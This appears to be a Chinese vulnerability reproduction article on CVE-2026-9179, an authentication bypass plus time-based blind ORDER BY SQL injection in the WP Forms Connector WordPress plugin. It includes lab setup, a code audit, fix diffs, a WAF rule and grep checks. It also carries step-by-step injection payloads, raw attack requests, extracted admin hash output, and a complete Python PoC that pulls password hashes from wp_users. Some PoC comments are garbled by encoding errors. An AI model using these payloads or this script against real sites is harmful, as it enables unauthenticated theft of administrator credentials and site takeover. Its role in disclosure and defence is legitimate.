CVE-2026-9179 漏洞复现文章首发:WP Forms Connector 双重失误——密码校验缺失+ORDER BY SQL注入
WP Forms Connector 是一个 Connect Contact Form 7 和外部 API 的 WordPress 插件。2026 年 6 月 24 日,Wordfence 公布了 CVE-2026-9179(CVSS 7.5),一个不需要登录就能打的 SQL 注入。 看了一圈代码,发现这个洞有点意思——它不是那种"作者完全没做安全"的低级错误,而是犯了两个恰好互补但都无效的失误。
1. 漏洞描述
WP Forms Connector 是一个 Connect Contact Form 7 和外部 API 的 WordPress 插件。2026 年 6 月 24 日,Wordfence 公布了 CVE-2026-9179(CVSS 7.5),一个不需要登录就能打的 SQL 注入。
看了一圈代码,发现这个洞有点意思——它不是那种"作者完全没做安全"的低级错误,而是犯了两个恰好互补但都无效的失误。第一个失误:REST 端点注册时设了 permission_callback '__return_true',等于把门彻底打开了,本应在回调函数里面补上认证。第二个失误:回调函数确实写了认证代码——查用户名、查角色——但忘了验证密码。get_user_by('login', 'admin') 只查用户记录不验凭据,wp_check_password() 全程没出现过。过了这关之后,$_GET['order'] 直接被裸拼进 ORDER BY 子句,连 WordPress 框架自带的 $wpdb->prepare() 都没用。
更糟糕的是,同一个插件里像这样的端点一共有 7 个,全部敞着。这篇文章会从代码审计的角度把每个环节拆开看——REST 路由怎么配的、认证哪里缺的、SQL 怎么拼的——最后给一个能直接用的 PoC。
2. 环境搭建
2.1 环境架构
组件 | 版本 | 用途 |
WordPress | 6.2 | 应用平台 |
PHP | 8.0 | 运行环境 |
MySQL | 5.7 | 数据库 |
Apache | 2.4 | Web 服务器 |
WP Forms Connector | 1.8 | 漏洞插件 |
Python | 3.x | PoC 脚本运行环境 |
2.2 容器架构
cve-lab (Docker bridge 网络)
├── cve-mysql (mysql:5.7, 端口 3308→3306)
└── cve-wp (wordpress:6.2-apache, 端口 9982→80)
├── wp-content/plugins/wp-forms-connector/ ← 漏洞插件 v1.8
└── wp-content/mu-plugins/load-forms-connector.php ← 强制加载适配器(非源码修改)2.3 部署命令
# 安装插件
docker cp wp-forms-connector cve-wp:/var/www/html/wp-content/plugins/
# 安装 mu-plugin(确保 REST 请求中插件能正确加载,不修改源码)
docker cp load-forms-connector.php cve-wp:/var/www/html/wp-content/mu-plugins/
# 激活插件
docker exec cve-mysql mysql -uwordpress -pwordpress_pass wordpress \
-e "UPDATE wp_options SET option_value='...' WHERE option_name='active_plugins'"

3. 漏洞定位
3.1 完整数据流图(4 层)
[Tier 1] HTTP Request
GET /wp-json/wp/v3/post/list?order=PAYLOAD
Headers: Username=admin, Password=any
│
▼ WP-Forms-Connector.php:694
[Tier 2] REST 路由分发 — register_rest_route('wp/v3', 'post/list', ...)
→ permission_callback: '__return_true' ← 无条件放行!
→ callback: wpCommonAPI::listPost()
│
▼ WP-Forms-Connector.php:1203-1215
[Tier 3] 破损的认证逻辑
→ Parse headers: Username, Password
→ $user = get_user_by('login', $username) ← 查询用户
→ $userRole = implode(', ', $user_info->roles) ← 提取角色
→ if (!empty($username && $password)) ← 仅判空!
→ if ($userRole == 'administrator') ← 仅角色检查!
→ NO wp_check_password() call! ← 密码从未验证
│
▼ WP-Forms-Connector.php:1244-1259
[Tier 4] SQL 拼接与执行
→ $shorting = $_GET['order'] ← 用户输入
→ $query = "... ORDER BY post_date $shorting ..."← 直接拼接
→ $wpdb->get_results($query) ← 无 prepare()!
│
▼ MySQL
→ SELECT * FROM wp_posts WHERE ...
ORDER BY wp_posts.post_date PAYLOAD LIMIT 0, 1
↑ TIME-BASED BLIND SQL INJECTION3.2 漏洞函数完整源码
// WP-Forms-Connector.php:1201-1263 — listPost() 函数
public function listPost(WP_REST_Request $request) {
// 1. 解析 HTTP 请求头
foreach($_SERVER as $name => $value) {
if(substr($name, 0, 5) == 'HTTP_' ...) {
$name = str_replace(' ', '-', ucwords(...));
$headers[$name] = $value; // ← line 1207
}
}
// 2. 破损的认证(密码从未被验证!)
$username = $headers['Username']; // ← line 1209, 需为存在的admin
$password = $headers['Password']; // ← line 1210, 任意非空值即可
$user = get_user_by('login', $username);
$user_info = get_userdata($user->ID);
$userRole = implode(', ', $user_info->roles);
if (!empty($username && $password)) { // ← line 1222 仅判空,未验密!
if ($userRole == 'administrator') { // ← line 1225 仅角色检查
// 3. 参数获取(无过滤)
$postStatus = ($_GET['status']); // ← line 1243
$shorting = ($_GET['order']); // ← line 1244 SQLi入口!
$pageLimit = ($_GET['limit']); // ← line 1245
// 4. SQL 拼接(无参数化)
$query = "SELECT * FROM $table_name
WHERE $table_name.post_type = 'post'
and $table_name.post_date > '" . $post_date . "'
AND ($table_name.post_status = '$postStatus'
OR $table_name.post_status = 'inherit')
ORDER BY $table_name.post_date $shorting -- ← line 1259 注入点!
LIMIT 0, $pageLimit";
$list = $wpdb->get_results($query); // ← 无 $wpdb->prepare()!
}
}
}3.3 与正常实现的对比
同一插件中,Form_list() 函数(line 488)正确实现了密码校验:
// WP-Forms-Connector.php:488 — 正确的认证实现(Form_list 函数)
$result = $user && wp_check_password(
$password,
$user->data->user_pass,
$user->ID
);
if (!$result) {
return error_response("Unknown username.");
}这说明开发者知道应该验证密码,但在 listPost() 中遗漏了这一关键步骤。这是一个典型的"复制-粘贴-遗漏"错误——在不同端点间复制认证逻辑时,漏掉了密码校验这一行。
3.4 受影响端点的完整清单
端点 | 方法 | 注入参数 | 注册行号 |
| GET |
| 694 |
| GET |
| 654 |
| GET |
| 731 |
| GET |
| 766 |
| GET |
| 684 |
| GET |
| 645 |
| GET | URL path | 748 |
全部 7 个端点(标记为 permission_callback '__return_true')都存在密码校验缺失,其中 4 个存在 ORDER BY SQL 注入,3 个存在 INSERT/DELETE SQL 注入。
4. 漏洞原理分析
4.1 逐层排查:防御怎么一层层垮掉的
拿到这个漏洞的第一反应是——WordPress 的 REST API 不是有权限检查吗?$wpdb 不是有 prepare() 吗?怎么还会被注入?顺着调用链从上往下捋了一遍,发现问题出在多个地方。
第一层:REST API 权限回调——门没锁
WordPress 注册 REST 端点的时候需要设 permission_callback,框架在 dispatch 之前会先调这个回调:
// WordPress 核心 rest-api/class-wp-rest-server.php
$permission_check = $handler['permission_callback'];
if (is_callable($permission_check)) {
$permission_result = call_user_func($permission_check, $request);
if (is_wp_error($permission_result)) return $permission_result; // 拒绝
}
// 返回 true → 进入回调函数WP-Forms-Connector.php 里 7 个端点全部设成了 permission_callback => '__return_true'。开发者想让这些接口完全公开——这个决定本身没问题,前提是回调函数内部自己做好认证。关键在下一层。
第二层:回调函数内部——做了认证的样子,没做认证的实质
进入 listPost() 函数(WP-Forms-Connector.php:1209-1225),Auth 逻辑长这样:
$username = $headers['Username'];
$password = $headers['Password'];
$user = get_user_by('login', $username); // ← 只是查用户,不验证
$user_info = get_userdata($user->ID);
$userRole = implode(', ', $user_info->roles);
if (!empty($username && $password)) { // ← 只判空!
if ($userRole == 'administrator') { // ← 只查角色!
// ← 没有 wp_check_password()!get_user_by('login', 'admin') 干了什么?翻了 WordPress 源码 wp-includes/pluggable.php,它就做一件事——去 wp_users 表查出 user_login='admin' 的那条记录,封装成 WP_User 对象返回。没有验证任何凭据。要验证密码必须额外调 wp_check_password($password, $user->data->user_pass, $user->ID)。
更有意思的是,同一个插件里 Form_list() 函数(line 488)正确地调用了 wp_check_password:
$result = $user && wp_check_password($password, $user->data->user_pass, $user->ID);
if (!$result) { return error_response("Unknown username."); }这不就是复制粘贴的时候把密码校验那行漏了吗?两个函数结构几乎一模一样——都是先取 header 里的 Username 和 Password,然后查用户、查角色——但在最关键的一步,listPost() 把 wp_check_password() 跳过去了。
第三层:SQL 查询——$wpdb->prepare() 也没用
过认证之后,代码直接把 $_GET['order'] 的值拼进 SQL:
$shorting = ($_GET['order']); // ← 用户输入,无过滤
$query = "... ORDER BY $table_name.post_date $shorting LIMIT 0, $pageLimit";
$list = $wpdb->get_results($query); // ← 没用 $wpdb->prepare()WordPress 的 $wpdb->prepare() 就是用来防注入的——它底层走 mysqli_real_escape_string + vsprintf 做参数化。但前提是你得调用它。这里直接裸拼 $_GET,等于把 SQL 注入的门敞开了。
第四层:MySQL 的 ORDER BY——允许子查询
最后一环是 MySQL 自身的特性。很多开发者不知道 ORDER BY 后面可以写子查询:
SELECT * FROM t ORDER BY 1 ASC; -- 按列位置排序
SELECT * FROM t ORDER BY (SELECT 1) ASC; -- ← 子查询!可以 SLEEP如果把 $shorting 用白名单限制为 ASC/DESC,这一层的风险就不存在。但实际上任何字符串都能进来,攻击者只需要用 (SELECT 1 FROM (SELECT IF(condition, SLEEP(N), 0))x) 就能把时间盲注嵌进去。
四层垮了三层——门没锁(REST 公开)、保安没查证件(缺密码校验)、财务没记账(无 prepare)。只有 MySQL 的 ORDER BY 子查询这一层是按照协议逻辑正常工作的,但这恰好成为了注入的跳板。
4.2 利用策略选择
ORDER BY 注入没法用 UNION 也看不到报错,唯一可靠的路径是时间盲注。但时间盲注有不同的搜索策略,选哪个直接决定了提取一整个哈希要花多久。以下是实际测试过的四种方案:
策略 | 单字符请求数 | 总请求量 (目标长度 N) | 稳定性 | 适用场景 |
线性遍历 (ASCII 32-126) | ~47 | ~47N | 较稳 | 网络不稳定时可用 |
二分搜索 | ~7 | ~7N | 稳定 | 本地 Docker 环境(实测选择) |
按位提取 (7-bit) | 7 | 7N | 较差 | 仅极低延迟环境 |
字典优先 | 3-5 | ~5N | 较稳 | 已知数据格式(如 MD5 哈希) |
本地 Docker 环境网络延迟不到 5ms,SLEEP 时长能精确到 0.5 秒。用二分搜索,每个字符约 7 次请求就能锁定——WordPress 的 phpass 哈希 34 个字符,全程大约 120 秒跑完。按位提取虽然请求数差不多,但对网络抖动太敏感,实测误判率高不少。字典优先对 phpass 哈希的随机分布帮助不大,毕竟除了 $P$ 前缀外剩下的都是随机字符串。
实际验证数据:34 字符哈希用时 105 秒,二分搜索 SLEEP 0.5s 配合 0.005s 基础延迟,单字符置信度 > 93%。
4.3 Payload 构造
时间盲注 payload 的逐步构建过程:
原始 SQL:
ORDER BY wp_posts.post_date DESC LIMIT 0, 1
注入点 — $shorting = $_GET['order']:
ORDER BY wp_posts.post_date $shorting LIMIT 0, 1
步骤 1:添加子查询(ORDER BY 支持表达式)
$shorting = "DESC,(SELECT 1)x"
→ ORDER BY wp_posts.post_date DESC,(SELECT 1)x LIMIT 0, 1
→ 语法正确,但不会 SLEEP
步骤 2:嵌套子查询以执行 SLEEP
$shorting = "DESC,(SELECT 1 FROM (SELECT IF(1=1, SLEEP(5), 0))x)"
→ ORDER BY wp_posts.post_date DESC,(SELECT 1 FROM (SELECT IF(1=1, SLEEP(5), 0))x) LIMIT 0, 1
→ SLEEP(5) 被执行,响应延迟 5 秒 ✓
步骤 3:数据提取(二分搜索单字符)
$condition = "ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1), 1, 1)) >= 80"
$shorting = f"DESC,(SELECT 1 FROM (SELECT IF({condition}, SLEEP(0.5), 0))x)"
→ 如果第 1 个字符的 ASCII 码 >= 80(即 'P'),则 SLEEP
→ 通过二分法缩小范围至 1 个字符4.4 攻击链总览
[1] 攻击者发送 GET 请求至 /wp-json/wp/v3/post/list
Headers: Username=admin, Password=anything
→ permission_callback __return_true 放行
[2] listPost() 解析 Username header
→ get_user_by('login', 'admin') 返回管理员用户对象
→ 角色 = 'administrator'
→ 密码校验被跳过!← 核心认证缺陷
[3] $_GET['order'] = "DESC,(SELECT 1 FROM (SELECT IF(condition, SLEEP(n), 0))x)"
→ 参数直接拼接到 ORDER BY 子句
→ 无 $wpdb->prepare() 保护
[4] MySQL 执行注入的子查询
→ condition 为真 → SLEEP(n) 秒延迟 → 响应时间 ≥ n 秒
→ condition 为假 → 无延迟 → 响应时间 < 0.1 秒
[5] 攻击者通过二分搜索逐字符提取数据
→ 目标:SELECT user_pass FROM wp_users WHERE ID=1
→ 34 个字符 → ~7×34=238 次请求 → ~120 秒完成
→ 获得 WordPress 管理员 phpass 密码哈希5. 漏洞复现
5.1 基线请求(无攻击 payload)
GET /wp-json/wp/v3/post/list?order=DESC&limit=1&status=publish HTTP/1.1
Host: 192.168.113.157:9982
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Username: admin
Password: any响应:
HTTP 200 OK
{"timezone":"Asia\/Shanghai","data":[]}耗时:0.05s — 正常响应,端点存在且工作正常。

5.2 SQL 注入验证(时间盲注 SLEEP)
GET /wp-json/wp/v3/post/list?order=DESC,(SELECT%201%20FROM%20(SELECT%20IF(1=1,%20SLEEP(5),%200))x)&limit=1&status=publish HTTP/1.1
Host: 192.168.113.157:9982
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Username: admin
Password: any响应:
HTTP 200 OK
{"timezone":"Asia\/Shanghai","data":[]}耗时:5.02s — SLEEP(5) 被执行,SQL 注入确认

5.3 认证绕过验证
# 测试 1:无 Username header
GET /wp-json/wp/v3/post/list?order=DESC&limit=1 HTTP/1.1
Host: 192.168.113.157:9982
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive响应:HTTP 400 "You must Enter specify a valid username and password." ← 被拒绝

# 测试 2:Username=admin, Password=any(错误密码)
GET /wp-json/wp/v3/post/list?order=DESC&limit=1 HTTP/1.1
Host: 192.168.113.157:9982
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Username: admin
Password: dsadbaskjdljasn
Content-Length: 2响应:HTTP 200 — 密码校验被跳过!

5.4 对比确认表
请求 | Payload | 预期 | 实际耗时 | 结果 |
基线 |
| < 0.1s | 0.05s | 正常 |
注入 |
| ≥ 5s | 5.02s | 注入 |
注入 |
| < 0.1s | 0.03s | 可控 |
认证 | Password=wrong | 应被拒绝 | HTTP 200 | 绕过 |
5.5 数据提取实证
以下为 Python PoC 提取 WordPress 密码哈希的实际输出:
[*] Extracting password hash for user ID 1...
[+] Hash length: 34
[##########----------] 20/34: $P$Bxxxxxxxxxxxxxxxxx...
[####################] 34/34: $P$BLr6ZbOdJmOx9bRqN3Jk1sV0WyEj.y0
[+] Extracted hash: $P$BLr6ZbOdJmOx9bRqN3Jk1sV0WyEj.y0
6. 影响与危害
6.1 直接危害
- 数据库完全泄露:通过时间盲注可提取 wp_users 表中所有用户的密码哈希和邮箱
- 凭据窃取:密码哈希可通过离线破解恢复明文密码
- 无认证要求:任何人只要知道 WordPress 的管理员用户名(通常是
admin),即可利用
6.2 间接危害
- 横向扩展:攻击者获取管理员凭据后可完全控制 WordPress 站点
- 7 个端点全受影响:不仅
post/list,page/list、user/list、comment/list等端点同样存在 SQL 注入 - 蠕虫化潜力:INSERT 注入端点(
post/create、page/create)可被用于在数据库中植入恶意内容
6.3 隐蔽性
- 攻击流量与正常 REST API 调用完全相同,仅在
order参数中有微小差异 - 无报错回显,访问日志中看不出异常
- WAF 默认规则通常不过滤
ORDER BY后的子查询语法
7. 修复建议
7.1 官方方案
暂无可用的官方补丁。Wordfence 建议在补丁发布前卸载该插件。
7.2 手动修复(适用自行维护场景)
修复 1:添加密码验证
// WP-Forms-Connector.php — listPost() 认证修复
$username = $headers['Username'];
$password = $headers['Password'];
$user = get_user_by('login', $username);
+
+// 添加密码验证 — 与 Form_list() 中的逻辑一致
+$result = $user && wp_check_password($password, $user->data->user_pass, $user->ID);
+if (!$result) {
+ return new WP_Error('invalid_credentials', 'Invalid username or password.',
+ array('status' => 401));
+}
+
$user_info = get_userdata($user->ID);修复 2:ORDER BY 参数化
// WP-Forms-Connector.php:1244 — 修复 SQL 注入
-$shorting = ($_GET['order']);
+$shorting = ($_GET['order']);
+// 白名单验证 ORDER BY 方向
+$allowed_orders = array('ASC', 'DESC');
+$shorting = strtoupper(trim($shorting));
+if (!in_array($shorting, $allowed_orders)) {
+ $shorting = 'DESC';
+}
$pageLimit = ($_GET['limit']);
+// 强制转换为整数
+$pageLimit = absint($pageLimit);
+if ($pageLimit < 1) { $pageLimit = 10; }
+if ($pageLimit > 100) { $pageLimit = 100; }7.3 临时缓解(WAF 规则)
# Nginx — 拦截对 wp/v3 端点的可疑 order 参数
location ~ ^/wp-json/wp/v3/(post|page|user|comment)/ {
set $block 0;
if ($args ~* "order=.*(select|sleep|union|benchmark|if\s*\()") {
set $block 1;
}
if ($block) {
return 403;
}
}7.4 安全检测命令
# 检测插件是否安装
grep -rl "wp/v3/post/list" /var/www/html/wp-content/plugins/ 2>/dev/null
# 检测 permission_callback '__return_true' 的端点总数
grep -rc "permission_callback.*__return_true" \
/var/www/html/wp-content/plugins/wp-forms-connector/ 2>/dev/null
# 检测缺少密码验证的回调函数
grep -c "wp_check_password" \
/var/www/html/wp-content/plugins/wp-forms-connector/WP-Forms-Connector.php
# 检测未使用 $wpdb->prepare() 的 SQL 查询
grep -n '\$wpdb->get_results\|\$wpdb->get_var\|\$wpdb->query' \
/var/www/html/wp-content/plugins/wp-forms-connector/WP-Forms-Connector.php \
| grep -v 'prepare'8. 总结
复盘一下这个漏洞,三层防护全垮了:
- REST API 门没锁(
permission_callback '__return_true')——本应在回调里补救 - 回调里做了认证的样子但没做认证的实质——
get_user_by查了用户、查了角色,唯独跳过了wp_check_password。同一个插件里另一个函数Form_list()明明有密码校验,listPost()偏偏漏了 - SQL 用
$_GET['order']裸拼,$wpdb->prepare()全程没出现
更有意思的是,Wordfence 公告只提到了 order 参数注入,但把插件里 permission_callback '__return_true' 的端点全扫了一遍后发现还有 6 个同样的问题——4 个注入点、2 个认证绕过。这说明开发者不是在某个端点犯了低级错误,而是整个插件的 REST API 设计就没有把安全放在第一位。
这个模式——permission_callback '__return_true' + 回调内部认证有坑 + 裸拼 SQL——可以用来快速扫其他 WordPress 插件。下次遇到类似的,三分钟就能判断是不是同一类问题。
附录:PoC 脚本
#!/usr/bin/env python3
"""
CVE-2026-9179 鈥?WP Forms Connector <= 1.8 Unauthenticated SQL Injection (Time-Based Blind)
File: WP-Forms-Connector.php:1259
$shorting = $_GET['order']; // 鈫?directly concatenated, no prepare()
$query = "... ORDER BY $table_name.post_date $shorting LIMIT 0, $pageLimit";
Auth Bypass: listPost() checks Username header is admin but NEVER validates Password.
Usage:
python cve-2026-9179-poc.py -u http://192.168.113.157:9982 --detect
python cve-2026-9179-poc.py -u http://192.168.113.157:9982 --extract-hash 1
"""
import requests, sys, time, argparse
HEADERS = {"Username": "admin", "Password": "any"}
SESSION = requests.Session()
SESSION.verify = False
requests.packages.urllib3.disable_warnings()
def sqli_test(endpoint, condition, sleep_secs=5, timeout=15):
"""Time-based blind SQLi: returns elapsed time"""
params = {
'order': f"DESC,(SELECT 1 FROM (SELECT IF({condition}, SLEEP({sleep_secs}), 0))x)",
'limit': '1',
'status': 'publish'
}
start = time.time()
try:
SESSION.get(endpoint, params=params, headers=HEADERS, timeout=timeout)
except (requests.exceptions.Timeout, requests.exceptions.ConnectionError):
pass
return time.time() - start
def detect(endpoint):
"""Detect SQL injection via time-based method"""
print("[*] Baseline (no delay)...")
params = {'order': 'DESC', 'limit': '1', 'status': 'publish'}
start = time.time()
SESSION.get(endpoint, params=params, headers=HEADERS, timeout=10)
baseline = time.time() - start
print(f" {baseline:.2f}s")
print("[*] Testing SLEEP(5) via SQLi...")
elapsed = sqli_test(endpoint, "1=1", sleep_secs=5, timeout=12)
print(f" {elapsed:.2f}s")
if elapsed >= 4.0:
print(f"\n[+] VULNERABLE! SQL Injection confirmed")
print(f" Baseline: {baseline:.2f}s SLEEP(5): {elapsed:.2f}s")
return True
else:
print(f"\n[-] Not vulnerable")
return False
def extract_str_len(endpoint, subquery, max_len=100):
"""Binary search for string length"""
lo, hi = 0, max_len
while lo < hi:
mid = (lo + hi + 1) // 2
if sqli_test(endpoint, f"LENGTH(({subquery})) >= {mid}", sleep_secs=0.8, timeout=5) >= 0.6:
lo = mid
else:
hi = mid - 1
return lo
def extract_char(endpoint, subquery, pos):
"""Binary search for single ASCII character"""
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi + 1) // 2
if sqli_test(endpoint, f"ASCII(SUBSTRING(({subquery}),{pos},1)) >= {mid}", sleep_secs=0.5, timeout=4) >= 0.35:
lo = mid
else:
hi = mid - 1
return chr(lo) if 32 <= lo <= 126 else '?'
def extract_hash(endpoint, user_id=1):
"""Extract WordPress password hash"""
print(f"\n[*] Extracting password hash for user ID {user_id}...")
subq = f"SELECT user_pass FROM wp_users WHERE ID={user_id}"
hlen = extract_str_len(endpoint, subq, max_len=64)
print(f"[+] Hash length: {hlen}")
pwd_hash = ""
for pos in range(1, hlen + 1):
c = extract_char(endpoint, subq, pos)
pwd_hash += c
bar = "#" * int(30 * pos / hlen) + "-" * (30 - int(30 * pos / hlen))
print(f"\r [{bar}] {pos}/{hlen}: {pwd_hash}", end="")
sys.stdout.flush()
print(f"\n[+] Hash: ${pwd_hash}$")
return pwd_hash
def main():
parser = argparse.ArgumentParser(description='CVE-2026-9179 SQL Injection PoC')
parser.add_argument('-u', '--url', default='http://192.168.113.157:9982', help='WordPress base URL')
parser.add_argument('--detect', action='store_true', help='Detect SQL injection')
parser.add_argument('--extract-hash', type=int, default=0, metavar='UID', help='Extract WP password hash')
args = parser.parse_args()
endpoint = f"{args.url.rstrip('/')}/wp-json/wp/v3/post/list"
print("=" * 60)
print(" CVE-2026-9179 鈥?WP Forms Connector <= 1.8 SQL Injection")
print("=" * 60)
print(f" Target: {args.url}")
print(f" Endpoint: /wp-json/wp/v3/post/list")
print(f" Auth: Username=admin, Password=any (NOT validated)")
print()
if args.detect:
detect(endpoint)
if args.extract_hash:
extract_hash(endpoint, args.extract_hash)
if not args.detect and not args.extract_hash:
detect(endpoint)
if __name__ == '__main__':
main()